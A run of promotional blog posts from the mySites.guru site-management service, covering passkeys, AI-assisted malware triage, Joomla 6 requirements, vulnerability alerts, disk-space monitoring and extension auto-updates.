Passkeys are built on the FIDO2 and WebAuthn standards, developed by the FIDO Alliance. The Alliance is an industry group formed in 2012 with one goal: kill passwords. Its members include Apple, Google, Microsoft, Amazon, and hundreds of other companies. They wrote the spec that makes passkeys work the same way across every browser and operating system. When you register a passkey on mySites.guru, you're using the same open protocol that Google, GitHub, and PayPal use for their logins. Nothing proprietary, nothing locked to a single vendor.

What actually happens when you use a passkey at mySites.guru?

You enter your username, and click the "Sign in with Passkey" button, your device asks for your fingerprint or face, and you're in. No typing. No paste-from-password-manager dance. No "was it the one with the capital letter and the exclamation mark?"

If you are using 1Password, you can use the browser extension to register and sign in with passkeys. It works on Mac, Windows, Linux, iOS, and Android, so your passkeys follow you everywhere without being tied to a single platform's ecosystem.

Under the hood, your device holds a private cryptographic key that never leaves it. The server only sees the public half. There's nothing to intercept, nothing to leak in a database breach, and nothing that works on a phishing site pretending to be us.

Why does this matter if you manage client sites?

Although our service has a long session time, if you logout and are logging in to mySites.guru several times a day to check on client sites, the speed difference is noticeable. But the real win is security.

If you have team members on your account, you no longer have to wonder whether Dave from accounting is reusing his Gmail password for your site management dashboard. His passkey is tied to his device and the mysites.guru domain. Can't be reused, shared, or phished.

What devices are supported?

Anything that speaks WebAuthn/FIDO2:

Face ID and Touch ID on Apple devices (syncs via iCloud Keychain)
Fingerprint or face unlock on Android (syncs via Google Password Manager)
Windows Hello - fingerprint, face, or PIN
Hardware security keys like YubiKey 5 or Google Titan

How do you set it up?

Go to your Account page and look for the WebAuthn Authentication section. Click Register new WebAuthn device or Passkeys, authenticate with your device, and you're done.

You can register multiple passkeys if you use several devices. Next time you log in, you'll see the "Sign in with Passkey" button on the login screen.

Your password still works as a fallback - passkeys are an additional login method, not a replacement.

How do passkeys compare to 2FA?

Two Factor Authentication adds a second step after your password (usually a 6-digit code). Passkeys skip the password step entirely and authenticate you in one action. Both are better than a password alone, but passkeys are faster and resistant to phishing in a way that SMS and TOTP codes aren't.

If an attacker tricks you into entering your password and 2FA code on a fake site, they can replay both within seconds. A passkey won't authenticate against a fake domain at all - the cryptography simply doesn't work unless the domain matches.

Is mySites.guru listed on passkey directories?

mySites.guru is listed on passkeys.directory and passkeys.com as a service that supports passkey login. If you're checking whether a tool you use supports passkeys, those two sites maintain up-to-date lists. We're on both.

Why do we recommend 1Password?

If you're not already using 1Password, you should be. We use it ourselves and it's the best way to manage passkeys across devices.

1Password stores your passkeys alongside your passwords, credit cards, and secure notes in one encrypted vault. Their browser extension handles passkey registration and login automatically - when mySites.guru prompts for a passkey, 1Password picks it up. It works on Mac, Windows, Linux, iOS, and Android, so your passkeys follow you everywhere without being tied to a single platform's ecosystem.

Where 1Password really pays off for agencies is sharing. You can create shared vaults for your team, so if someone needs access to a shared account (not mySites.guru - use team accounts for that - but the dozens of other services your agency depends on), you don't end up with passwords in Slack DMs or shared Google Docs. Everything stays encrypted and auditable.

It also generates strong unique passwords for the sites that don't support passkeys yet, which in 2026 is still most of them. If you're managing 50+ client sites and their associated hosting accounts, DNS providers, CDNs, and email services, a password manager isn't optional. 1Password is the one we'd pick.

Which plans include passkey support?

Passkeys are available on all plans, including team member accounts. There's nothing extra to pay for. Combined with one-click admin login to your connected sites and real-time login alerts, you've got a pretty solid security setup.

Set Up Your Passkey Now

<small>FIDO® and the stylized FIDO logo are trademarks (registered in numerous countries) of FIDO Alliance, Inc. The passkey icon is a trademark of FIDO Alliance, Inc.</small>

Account security is covered in depth in our agency security guide.

AI-Powered Malware Analysis Now Available in mySites.guru

phil@mysites.guru (Phil Taylor) — Thu, 15 Jan 2026 00:00:00 GMT

You run a security audit on your Joomla site. Result? 47 files flagged as "Suspect Content." OH NO!!!!!

If you landed here because something looks wrong with your site, start by checking whether your WordPress site is actually hacked - then use our WordPress malware scanner as a starting point before you dig into this level of detail.

Which are actual malware? Which are false positives? Do you spend hours reviewing PHP code or wait days for expert analysis?

AI-Powered Malware Analysis - when our audit tools flag suspicious files, you can now send any file to AI for expert analysis with one click.

Results come back as plain verdicts:

"This is a false positive – safe to ignore"
"This is suspicious – review line 42"
"This is malware – remove immediately"

The crowdsourced cached results change the economics: when you or anyone else analyzes a file with our AI integration and gets a definitive result (SAFE or MALWARE), that result is stored globally by file hash. If someone else already analyzed that file - same hash, same file contents - you get instant results at no cost. Your analyses help others and theirs help you.

(No details on your domains, your site, or personal information is shared, the hash of the file contents and the result is all that we store)

Example malware extracts from the AI analysis:

Why did we wait to add AI?

Every company rushed to add "AI-powered" to their product - chatbots that frustrated users, buzzwords without substance.

For over a decade, we've secured Joomla and WordPress sites. We knew our audit system worked well at finding threats, but it casts a wide net, meaning false positives. Users had to review code themselves or wait for us to review files manually.

We spent months testing: analyzed thousands of files, compared AI results against expert reviews, measured accuracy and cost-effectiveness. The question wasn't whether AI was trendy - it was whether AI could reliably do what users struggle with: reading PHP code, identifying suspicious patterns, and separating legitimate code from malware. It can.

False positives have cost users hours of manual review for over a decade. This addresses that.

How does it work?

The audit foundation

For 10+ years, our security audit system has scanned filesystems using pattern-matching built from real-world hacks. It catches backdoors and malware most users would never find. By design, it flags suspicious files broadly - better to review a safe file than miss malware. Before you can spot the abnormal, it helps to know what's normal - our guide to hidden files lurking on your site explains the dot-files most site owners don't even know exist in their webspace.

AI analysis layer

When audits flag files, you see a colored AI icon:

🟣 Purple = Not analyzed
🟢 Green = Safe
🟡 Yellow = Suspicious
🔴 Red = Malicious

Click to send the file to AI (Claude Sonnet 4.5 or GPT-4). Within seconds, get expert analysis with:

Risk level and confidence score
Exact line numbers of issues
Code snippets and explanations
Actionable recommendations

Crowdsourced intelligence

Definitive results (SAFE/MALWARE) are stored globally by MD5 hash. Same file on 100 sites = 1 analysis, not 100. Popular WordPress plugins are likely already analyzed by the community. Your discoveries protect everyone else.

Over time, the crowdsourced results will sharpen our audit patterns - false-positive rates should drop as the dataset grows.

What are the key benefits?

Expert analysis without the expert

What took hours or days now takes seconds. No more waiting for manual reviews from Phil or trying to understand complex PHP code, or worse, ignoring or guessing! Although Phil receives every analysis and can overrule the AI decision:

Cost savings at scale

You install a security plugin across 50 Joomla sites. First analysis costs a few cents. Other 49 sites? Instant cached results, zero cost. Managing 100 WordPress sites with WooCommerce? Most files already analyzed by the community-you might only need 2-3 new analyses.

Accurate and trustworthy

Every analysis includes confidence scores (0-100%). 95% confidence "malicious" is very different from 60% "suspicious." The AI shows you exactly which lines are problematic and why. Admins can mark false positives, correcting the global cache for everyone.

When should you use it?

Suspected breach: Site sending spam? Run the Suspect Content audit and use AI to triage 47 flagged files in minutes instead of hours. Not yet connected? Run a free security audit to see what mySites.guru finds before you commit to a subscription.
Post-update verification: Updated a plugin? AI confirms the modified files are legitimate, not tampered with.
Quarterly reviews: Audit 100 sites. Common files already cached = instant results. Focus your time on new threats.
Pre-deployment: Verify custom code is secure before going live.
Inherited sites: 200 flagged files overwhelming you? AI prioritizes the 5 high-risk files, not 195 false positives.

When should you NOT use it?

It's not 100% accurate - sophisticated malware might slip through, and legitimate code might be flagged. Use findings as a guide and verify critical decisions. Phil receives a written report for each AI lookup and will manually override bad AI decisions to prevent mistakes and poisoning the crowdsourced database.

It only works on text-based code (PHP, JS, etc.) - no images, PDFs, or compiled binaries.

Files over 200KB are sampled (first/middle/last sections), so threats in unsampled sections could be missed.

It's one layer, not the entire solution. Regular updates, strong passwords, and backups are still essential.

How do you enable it?

Get API keys from Anthropic (for Claude) or OpenAI (for GPT)
Navigate to Account > AI Integration in mySites.guru, toggle "Enable AI Features", add your API key(s), and choose your preferred provider
Start analyzing - AI icons appear throughout File Manager, Suspect Content, and Modified Files tools

What does it cost?

We do not charge you for this integration - like everything in mySites.guru, you pay your monthly subscription and I invest DAILY into the best platform available today - just like I have done since launching in 2012, without a single price increase since we launched! Name me another service that does that?

To use AI analysis, you provide your own API keys from Anthropic (Claude) or OpenAI (GPT). Your data goes directly to your chosen provider using your own account-mySites.guru never charges for AI usage and your API keys are encrypted for your security.

Typical costs: $0.01-0.05 per file analysis, paid directly to Anthropic or OpenAI.

The advantage: Global caching means you rarely pay twice. Same file content across all your sites = one analysis, infinite reuse. Someone else already analyzed that WordPress plugin? You get cached results at zero cost.

For most users managing typical site portfolios, monthly AI costs are minimal-often less than one security audit consultation.

Get Started

AI-Powered Malware Analysis is available now for all mySites.guru users.

Log in to your account
Enable AI Features in Account → AI Integration
Start analyzing files

Questions? Email phil@phil-taylor.com

This feature is covered in our agency security guide.

Joomla 6 Technical Requirements (2026)

phil@mysites.guru (Phil Taylor) — Wed, 15 Oct 2025 00:00:00 GMT

<div class="not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5"><path d="M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z"/></svg> <p class="text-neutral-700 dark:text-neutral-300 m-0">Updated 2 March 2026 with new information including corrected MariaDB minimum version and latest PHP details.</p> </div>

Joomla 6.0.0 was released on 14th October 2025, and it introduced a new strict joomla technical requirements minimum of MySQL 8.0.13, MariaDB 10.4.0 and PHP 8.3.0

The mySites.guru tool for Joomla 6 Technical Requirements - Hosting Check is a feature of the subscription at mySites.guru

What does the Joomla project say?

Not much other than this page (which ironically still states this is for an unreleased upcoming version when infact Joomla 6 has now been released)

This page is also confusing as it has a "Required" version of MariaDB and PostgreSQL that is less than the "Minimum"... strange.

[edit:] Note that even the Joomla Project don't seem to understand or believe these versions are correct, but hey ho, https://github.com/joomla/Manual/pull/540

[edit:] It seems the "Minimum Versions" are guaranteed to work and are required for upgrades and the "Required Versions" "May work for new new installs"

[edit:] After release, the Joomla project lowered the minimum MariaDB version from 10.6 to 10.4 in the official documentation.

[edit:] Clear as mud. However we will keep this page, and the tools in mySites.guru, up to date with the published, documented, versions from the official Joomla project which can be found here: https://manual.joomla.org/docs/next/get-started/technical-requirements/ (Which also currently states Joomla 6.0 is the upcoming version and not yet released - go figure...)

What does the Joomla 6 hosting check show?

The mySites.guru tool for Joomla 6 Technical Requirements - Hosting Check is a feature of the subscription at mySites.guru - no additional charge was made and this new feature added for free into all account.

Here's what the dashboard looks like:

Where to find the Joomla 6 Technical Requirements tool in mySites.guru?

You can get to the tool quickest by invoking the command palette with cmd k (or ctrl k on windows/linux) and typing "Joomla 6" or "compat" to filter the commands and then enter. This will take you direct to the Joomla 6 Technical Requirements tool

*The mySites.guru command palette - filtered *

An even quicker way is to just press c 6 on the keyboard (that is lowercase c and then the number 6) - that is the keyboard shortcut to the page in mySites.guru!!

The direct url is: https://manage.mysites.guru/en/tools/joomla6/compatibility (Obviously you need to be logged in for that to work)

As you can see the tool clearly lists all your Joomla 4, Joomla 5 and Joomla 6 sites, along with the currently installed Joomla version, the web server hostname, the update channel enabled, and the server hosting PHP version and Database type (MySQL or MariaDB) and version number.

If your PHP or Database Server meets the MINIMUM this will be highlighted with Yellow The MINIMUM Joomla 6 Technical Requirements are: PHP 8.3.0, MySQL 8.0.13 or MariaDB 10.4.0.

If your PHP or Database Server meets the RECOMMENDED this will be highlighted with Green The RECOMMENDED Joomla 6 Technical Requirements are: PHP 8.4+, MySQL 8.4+ or MariaDB 12.0+

If your PHP or Database Server doesn't meet the MINIMUM technical requirements this will be highlighted with Red

What is the update channel?

Joomla has 3 main update channels - the Default, **Joomla Next **and Testing. It is highly recommended that you leave your production websites on the default setting - this will prevent you accidentally applying major updates to Joomla core. Separately, Joomla 5.4+ and 6.0+ also introduced automated core updates that can apply patches without admin intervention - if you manage client sites, you should disable that too.

Joomla "Next" channel allows to switch between major releases. From 4 to 5 to 6 for example.

Testing is as its name suggests. For use in testing releases prior to release by experienced developers.

What are the Joomla 6 minimum technical requirements?

The absolute minimum versions that can be installed on a server to run Joomla 6 are:

PHP 8.3.0 (also standard modules like json, simplexml, dom, gd, mysqlnd needed)
MySQL 8.0.13 or MariaDB 10.4.0
This article (and most of the Joomla Community!) ignore the Postgres compatibility as not many people use that database server - but the minimum for PostgreSQL is 12.0

What are the Joomla 6 recommended technical requirements?

The RECOMMENDED versions to be installed to run Joomla 6 are "the latest PHP version and the latest MySQL/MariaDB" version - haha - but no seriously, there is no reason to be not running the latest versions of PHP in 2026!

The "official" recommended is PHP 8.4 and MySQL 8.4/MariaDB 12 - but of course over time these will probably increase - for example at the time of writing PHP 8.5 is the latest stable PHP version available, https://www.php.net/supported-versions for full PHP details.

What if my web host doesn't meet the minimum standards?

If your webhost doesn't have the minimum standards for Joomla 6 hosting then you should really consider moving - the MySQL 8 and PHP 8.4 requirements are standard at this point.

MySQL 8.0.13 was released in October 2018 - so that's over 7 years ago - if your web host has not upgraded their MySQL server in the last 5 years then maybe they are not the most secure and reliable partner for your web site... #justsaying

What is the supported version of MySQL by Oracle?

https://endoflife.date/mysql

mysql 5.6 extended support ended in 2021 and mysql 5.7 extended support ended.... 31st October 2023.

Only MySQL 8.4 (LTS) and 9.4.* series are actually supported by Oracle now.

What if my site is stuck on Joomla 3 - how do I secure Joomla 3?

You can look at the new tool which Fixes all Joomla 3 security issues with a single click, in the mySites.guru snapshot.

How do Joomla 5 and Joomla 6 requirements compare?

Upgrading from Joomla 5? Here's a side-by-side comparison of what changed:

Requirement	Joomla 5 Minimum	Joomla 6 Minimum
PHP	8.1.0	8.3.0
MySQL	8.0.13	8.0.13
MariaDB	10.4.0	10.4.0
PostgreSQL	12.0	12.0

The database requirements stayed the same between Joomla 5 and 6. The main change is PHP: Joomla 6 requires PHP 8.3 or higher, up from PHP 8.1 in Joomla 5. If your server already runs PHP 8.3+, you're ready to upgrade.

The recommended versions for Joomla 6 are PHP 8.4, MySQL 8.4, and MariaDB 12 - all higher than Joomla 5's recommendations of PHP 8.2, MySQL 8.1, and MariaDB 11.1.

Use the mySites.guru compatibility checker to scan all your sites at once and see exactly which ones are ready for the upgrade.

Questions?

Happy to answer questions if you have any, use the contact form.

Or you can ask the Joomla project direct.

Joomla 6 planning is part of our Joomla Agency Handbook.

What Users Really Think of mySites.guru

phil@mysites.guru (Phil Taylor) — Sun, 17 Nov 2024 00:00:00 GMT

Every review on our reviews page is from a real person with a real name. No anonymous testimonials, no paid placements. I wanted to pull out some of the recurring themes.

People stop thinking of it as a subscription

This is the thing I hear most. Alexander I. runs an agency and told us mySites.guru feels more like infrastructure than a subscription at this point. Stephen Dillon at Invisible Stuff has been paying for it for over 10 years and says it's the best value tool they have.

Ten years is a long time to keep paying for something. Nobody does that out of inertia.

The time savings are real

Anne Notarthomas at eKamria uses it daily for one-click logins, backup scheduling, uptime monitoring, and general maintenance. She says it saves her untold hours every month.

Daniel Östgård manages about 200 Joomla and WordPress sites and describes it as saving "oceans of time." At that scale, running updates manually would take days. Through mySites.guru it takes minutes.

You don't need to be technical

Nick Lucas is a CEO with 7 sites. He's self-taught, not a developer. He told us mySites.guru showed him security problems he had no idea existed. The audit tools flag issues in plain language, so you don't need to know what a CVE number means to act on them.

That said, developers get plenty out of it too. Adam Haworth moved his agency from WP Umbrella because he wanted more control over security, specifically. He got it.

Does it treat Joomla and WordPress equally?

Most management tools are WordPress-only, or they bolt Joomla on as an afterthought. mySites.guru treats both equally, which matters if you have a mixed portfolio.

Emanuel manages about 50 Joomla sites and says the tools cover almost any use case he's thrown at them. Krisztina, a freelance Joomla developer, has been using it since 2015. She originally signed up to clean malware off a server full of hacked sites, then kept using it for day-to-day management. Andrés Restrepo works primarily with Joomla 5.x and says it changed how he works.

What did WPMayor rate it?

WPMayor.com did an independent review and gave mySites.guru 4.6 out of 5 stars. Worth reading if you want an outside perspective.

Where can you read all the reviews?

These are just a few. The reviews page has them all, or you can leave your own if you're already a user.

WordPress Plugin Vulnerability Alerting

phil@mysites.guru (Phil Taylor) — Mon, 01 Apr 2024 00:00:00 GMT

Outdated plugins are the most common way WordPress sites get compromised. If you suspect a vulnerable plugin has already been exploited, check whether your site has been hacked first - and if it has, the WordPress hacked recovery guide covers what to do next. mySites.guru checks every plugin version on your connected sites against known vulnerability databases and flags the ones that need attention.

How does WordPress vulnerability detection work?

The mySites.guru snapshot runs twice a day on each connected site, collecting a list of every installed plugin and its version number.

That list gets compared against several threat intelligence sources:

Wordfence vulnerability data
CVE and Mitre datasets
Custom vulnerability lists and internal threat data built up over 12+ years

If a plugin version on your site matches a known vulnerability, it gets flagged immediately. A recent example: the Smart Slider 3 arbitrary file read vulnerability affected over 800,000 installs and was picked up automatically for any connected site running a vulnerable version. March 2026 was a particularly active month - Elementor, Yoast SEO, WPForms, and Really Simple Security all shipped security patches in the same window, giving agencies managing large WordPress portfolios a lot to track at once.

What do WordPress vulnerability alerts look like?

On the main sites page, vulnerable sites are marked so you can spot them at a glance:

Click into an individual site and you get the specifics - which plugins are affected, what the vulnerability is, and a link to the full disclosure:

How do you fix vulnerable WordPress plugins?

In most cases, updating the plugin to the latest version is the fix. Plugin authors typically patch vulnerabilities in new releases, so staying current is the single best thing you can do.

The best practice checks in mySites.guru will also flag other security hygiene issues - outdated PHP versions, debug mode left on, missing security headers - that compound the risk from vulnerable plugins. You should also enforce minor-only core updates so that WordPress keeps applying security patches without risking a major version jump that breaks plugin compatibility.

How do you update vulnerable WordPress plugins across all your sites?

Finding the vulnerability is half the job. Fixing it across 50 or 200 sites is where the time goes. If you've disabled automatic updates to keep control over what runs on your sites, you'll want to push vulnerable plugin updates manually as soon as a patch is available.

The mass plugin updater lets you select every site running a vulnerable plugin version and push the update in one batch:

You can also mass install a replacement plugin if the vulnerable extension has been abandoned and you need to swap it out entirely.

What do you do when a WordPress plugin has no patch available?

Sometimes a vulnerability gets disclosed before the author releases a fix. In that case:

Deactivate the plugin on affected sites if it's not critical to functionality
Set up real-time file alerts so you'll know immediately if someone exploits it
Run a security audit to check whether the vulnerability has already been used - or use the WordPress malware scanner for a focused scan
Monitor the plugin's changelog - mySites.guru will automatically clear the alert once an updated version is installed

If the plugin stays unpatched for an extended period, that's usually a sign it's been abandoned. Time to find an alternative.

Why does WordPress plugin security matter at scale?

One WordPress site with one vulnerable plugin is a manageable risk. But if you're managing 100+ client sites with 15-20 plugins each, that's a lot of versions to track. Nobody's doing that by hand. The WordPress vulnerability scanner page covers exactly how mySites.guru handles this at scale, with detail on the threat databases and detection cycle.

mySites.guru runs these checks automatically, twice a day, across every connected site. When something needs attention, you see it on your dashboard - not three months later when a client calls to say their site is defaced.

Run a free audit on any WordPress site to see what mySites.guru finds.

Vulnerability management is a key part of our agency security guide.

Web Server disk space monitoring

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

The mySites.guru snapshot monitors your server's actual disk partition usage - not your virtual hosting quota - and warns you before it fills up. Some web hosts don't surface this information at all.

What does mySites.guru measure (and why)?

Every time mySites.guru takes a snapshot of your site (twice daily, or on demand), it calls two standard PHP functions that have existed since PHP 4.1.0:

disk_free_space - returns available space on the filesystem or disk partition
disk_total_space - returns the total size of the filesystem or disk partition

From those two numbers, we calculate space used and percentage used:

private function getDiskSpace()
{
    if (! function_exists('disk_free_space') || ! function_exists('disk_total_space')) {
        return json_encode(array());
    }

    $data = array(
        'free'  => disk_free_space(JPATH_BASE),
        'total' => disk_total_space(JPATH_BASE),
    );

    $data['used'] = $data['total'] - $data['free'];
    $data['percentUsed'] = sprintf('%.2f', ($data['used'] / $data['total']) * 100);

    $data['free']  = $this->formatSize($data['free']);
    $data['total'] = $this->formatSize($data['total']);
    $data['used']  = $this->formatSize($data['used']);

    return json_encode($data);
}

The stored data looks like this:

{"free":"1.18 TB","total":"6 TB","used":"4.82 TB","percentUsed":"80.31"}

mySites.guru shows a warning when the partition is over 85% full, and a critical alert at 95% or more.

"But my web host says my quota is fine"

People hear this a lot. They contact their host, who tells them their account quota is fine. Then they email me saying mySites.guru is wrong.

Two different numbers. Your hosting provider reports your account quota - a software limit they set for your account. mySites.guru reports the physical disk partition - the actual hard drive your files sit on, shared with potentially thousands of other sites.

If the partition hits 100%, your site goes down regardless of what your quota says - and if multiple sites share that server, they'll all trigger downtime alerts at the same time. You won't be able to take backups. MySQL may throw errcode 28 (no free space). And your hosting panel will still happily show your quota at "20% used."

"There's 1.18 TB free, so I'm fine at 80%"

Using the example data above: all the sites on that server have consumed 4.82 TB between them on a 6 TB partition. That's a lot of sites sharing one drive.

Say another customer on the same server runs a backup that eats that remaining 1.18 TB. They're within their own quota, but the physical disk is now full. Your site is offline.

That's an extreme scenario, but we've seen plenty of hosts running partitions above 95%. We've seen servers with as little as 1 GB of free space remaining - on major hosts.

How do you disable disk space warnings?

If you'd rather not see these alerts, you can turn them off. Go to Notifications & Preferences, open the Settings & Preferences tab, and toggle off "Show webhost disk space warnings."

"My quota is at 20% but you're showing 97%"

That's because they're measuring different things. Your quota is a soft limit set by your host. The 97% is the physical partition your site runs on. Your quota could show plenty of room while the actual drive is nearly full.

In fact, you might try to upload files well within your quota and fail - because the physical disk filled up first.

Why are the percentages so high?

Shared hosting providers pack as many sites onto the same hardware as possible. That's how the economics work. It's common for mass-market hosts to run partitions at 80-90%+ utilisation.

mySites.guru thresholds: 85% = warning, 95% = critical. The severity depends on partition size - 95% on a 20 GB partition leaves almost nothing, while 95% on a 10 TB partition still leaves 500 GB free.

What should you do with this information?

Like everything else in mySites.guru, we report what we find and give you the tools to act on it. Use the information, ignore it, or disable the feature entirely. Your call.

Disk space monitoring is part of our site monitoring guide.

Add unlimited Joomla and WordPress sites to mySites.guru

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

<div class="not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5"><path d="M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z"/></svg> <p class="text-neutral-700 dark:text-neutral-300 m-0">The screenshots below are from an older version of the interface. We've since redesigned the dashboard, but the process works the same way.</p> </div>

One of the founding principles of mySites.guru is that we offer an unlimited service for unlimited sites in your account at one set price per month (or year)

We haven't raised prices once since we launched in 2012. Fourteen years later and it's still the same flat fee - no sneaky annual increases, no "new tier" upsells.

Once you have created your account at mySites.guru, you can then add your first site!

Adding your first site is straightforward - select which platform you want to connect. We support all Joomla versions from 1.5 upwards and WordPress going back a long time.

*Make a selection of platform to add *

You will then be presented with the connection wizard.

How do you add a Joomla site to mySites.guru?

After clicking the Joomla logo you will see the connection wizard, take a look, read, and then you can proceed to the next page.

On the "Get Plugin" page you are given two different ways to install our plugin into your Joomla Site.

The most simple is to just copy the url in the green box by pressing the copy button next to it, and paste that into the Joomla Extension Installer in your sites admin console.

After clicking check and install and seeing a green success message, return to mySites.guru where you will see a connected screen - and your site will be connected! or you will see this screen:

Dont panic if you see this, it just means your site did not call home to us - we can try to shout at your site and see if our connector is listening, to do this click the "click here" on this screen to provide your domain name

Add your domain name and attempt the manual connection - fingers crossed the next screen you will see is the manage site page and your site will be connected to mySites.guru

Error messages? Forbidden? .htaccess Restrictions etc??

JUST ASK FOR HELP - We investigate all connection issues FOR FREE for you, just use the contact links on our site to ask for help, we will get you connected so you can enjoy mySites.guru

How do you connect a WordPress site to mySites.guru?

The process for WordPress sites is slightly different. In the wizard you will be prompted to download our plugin zip. Read the important notes.

You can then install this WordPress plugin the same way you would upload any WordPress plugin to your site.

You will then be asked to provide us with your WordPress Site URL ending in a trailing slash

Once you click attempt connection, we will shout over to your WordPress site and see if our connector replies, and then redirect you to the WordPress Manage site page.

Can I really connect unlimited sites for one set fee?

YES! - Currently the maximum number of sites in a single customer account is 750!

If you get near 750, let me know, I'll buy you a cake!

We have not increased our prices for subscriptions from the GBP19.99 per month since we launched in 2012.

Got Questions? Need Help?

Im online most of the time - look for the live chat at the bottom right corner of the page or locate the contact/feedback links.

**Every Single Page that we publish has a contact means on it and I answer all emails personally within moments if I'm online and within 12 hours normally! **

Automatic Updates for Any Joomla Extension

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

Any Joomla extension that has an update site (meaning it implements the Joomla Updates API) can be set to automatically update when a new version is available. WordPress has had this for years, and now mySites.guru brings the same capability to Joomla - particularly useful when you're managing multiple Joomla sites and need consistent extension versions across every one of them.

Note: this covers extension auto-updates, which you control per-extension through mySites.guru. Joomla 5.4+ also introduced automated core updates - a separate feature managed by Joomla.org infrastructure that patches the CMS itself without admin intervention. If you manage client sites, you probably want to disable core auto-updates while selectively enabling extension auto-updates here.

Background on Joomla extension auto-updates

mySites.guru has been running automatic updates for years. The system has automatically upgraded over 3 million JCE Editor, Akeeba Backup, Admin Tools, and RegularLabs extensions across connected sites.

Originally, auto-updates were limited to a handful of trusted extension developers. The quality of some Joomla extensions at the time made it risky to auto-update everything. Since then, the ecosystem has matured, and customers told us they wanted to select their own extensions for auto-update, including custom extensions they'd built themselves.

So now you can select any update site stream and mark it for automatic updates.

How do Joomla extension auto-updates work?

On the Updates tab of any Manage Site page, you'll see every update site stream reported by your Joomla site:

This data comes from the snapshot of your site. You can see the exact URL each extension developer provides for updates, which also lets you verify the authenticity of your update sites. Very few Joomla site owners actually check this.

Any stream marked Auto Update Enabled gets checked once a day. If an update is available for an installed extension, mySites.guru tells your Joomla site to apply it. You'll get an email notification for both successful and failed updates.

How do you enable Joomla auto-updates across all sites at once?

The split button lets you enable an update site stream across every connected site in your account. Want Akeeba Backup to auto-update on all your sites? Two clicks. The same cross-site approach applies to managing multiple WordPress sites - plugin auto-updates work identically across your WordPress portfolio.

This also works for Joomla's own components - Accredited Translations, Joomla WebLinks, and the Joomla Update Component can all be kept current automatically.

How do you verify Joomla update site authenticity?

One thing most Joomla site owners never do is check where their update sites actually point. Every extension registers a URL that Joomla calls when checking for updates. If that URL has been tampered with, or if a dodgy extension is phoning home to somewhere unexpected, you'd never know without looking.

The Updates tab in mySites.guru shows you the exact URL for each update stream. If something doesn't look right (an unfamiliar domain, HTTP instead of HTTPS, a URL that doesn't match the developer's known infrastructure), that's worth investigating before you enable auto-updates for it.

When should you use Joomla auto-updates vs manual updates?

Auto-updates work best for extensions where you trust the developer and where updates are typically non-breaking: security tools like Akeeba Backup and Admin Tools, content editors like JCE, and utility extensions like RegularLabs.

For extensions that are tightly integrated with your site's functionality (page builders, complex e-commerce components, or anything that modifies database schema on update), you might prefer to apply updates manually so you can test first. Nothing stops you from mixing both approaches: auto-update the low-risk stuff and manually handle the rest.

Note that extension auto-updates through mySites.guru are separate from Joomla's built-in automated core upgrades introduced in Joomla 5.4. The core auto-update feature only touches Joomla itself, not third-party extensions. If you want both core and extension updates managed through a controlled workflow, disable core auto-updates and use mySites.guru for both.

Can you auto-update your own custom Joomla extensions?

If you've built custom extensions for your clients, you can auto-update those too, as long as they implement a standard Joomla update site. This is common for agencies that maintain a branded plugin across dozens of client sites.

Push a new version to your update server, and mySites.guru rolls it out to every site that has auto-updates enabled for that stream. No need to use the mass installer for routine version bumps.

What happens when an auto-update fails?

mySites.guru sends you an email immediately. The notification tells you which site, which extension, and what went wrong. Common failure reasons:

The site was offline or unreachable when the update was attempted
PHP memory or execution time limits were too low for the update package
File permission issues prevented writing to the extension directory
The update server itself was temporarily unavailable

Failed updates don't affect other sites or other extensions. Each is processed independently. Fix the underlying issue and either wait for the next daily check or trigger a manual update.

What if I don't want auto-updates?

Nothing is enabled by default. You have to make a conscious decision to opt in for each extension stream. If you prefer to review and apply updates manually, that's fine too.

Safety net: backups and uptime monitoring

You can schedule daily backups in your mySites.guru account using Akeeba Backup (free or professional version). If an auto-update causes problems, you've got a restore point from before the update ran.

mySites.guru notifies you immediately when an update succeeds or fails. The notification email includes a link to the developer's release notes so you can check what changed.

You can also set up uptime monitoring that checks your site every 5 minutes around the clock. If a site goes offline after an update, you'll know within minutes - not when a client calls.

Force-pushing a specific extension version with the mass installer

Sometimes auto-updates and the standard upgrade path aren't what you need. Maybe an extension's update server is down, or you want to roll back to a specific version, or you've got a patched zip that fixes a problem the developer hasn't released yet.

In those cases, the mass installer lets you upload a zip file (or paste a URL to one) and push it to as many sites as you want. The installer overwrites whatever version is currently installed - so you can use it to upgrade, downgrade, or replace an extension entirely.

This is also useful for extensions that don't have an update site at all. Some older Joomla extensions or niche commercial plugins never implemented the Joomla Updates API, so auto-updates aren't an option. The mass installer sidesteps that completely. If you've got the zip, you can deploy it.

Combining auto-updates with vulnerability alerts

mySites.guru also cross-references your installed plugin versions against known vulnerability databases. If an extension you haven't opted into auto-updates gets flagged as vulnerable, you'll see it on your dashboard. That's often a good prompt to either enable auto-updates for it going forward or push a manual update immediately. When critical vulnerabilities like the Novarain Framework exploit (CVE-2026-21627) drop, sites with automatic updates enabled are patched before the public exploit hits GitHub.

Auto-update the extensions you trust, and let vulnerability alerting watch everything else.

Run a free audit to connect your first Joomla site and try automatic extension updates.

Learn more about update strategies in our CMS updates guide.

Backup 1000s of Sites from One Dashboard

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

With mySites.guru you can set and forget your backup schedule and let it handle running your backups and notifying you if there's a problem.

What makes a backup worth having?

There is only one kind of backup worth having: one that actually restores.

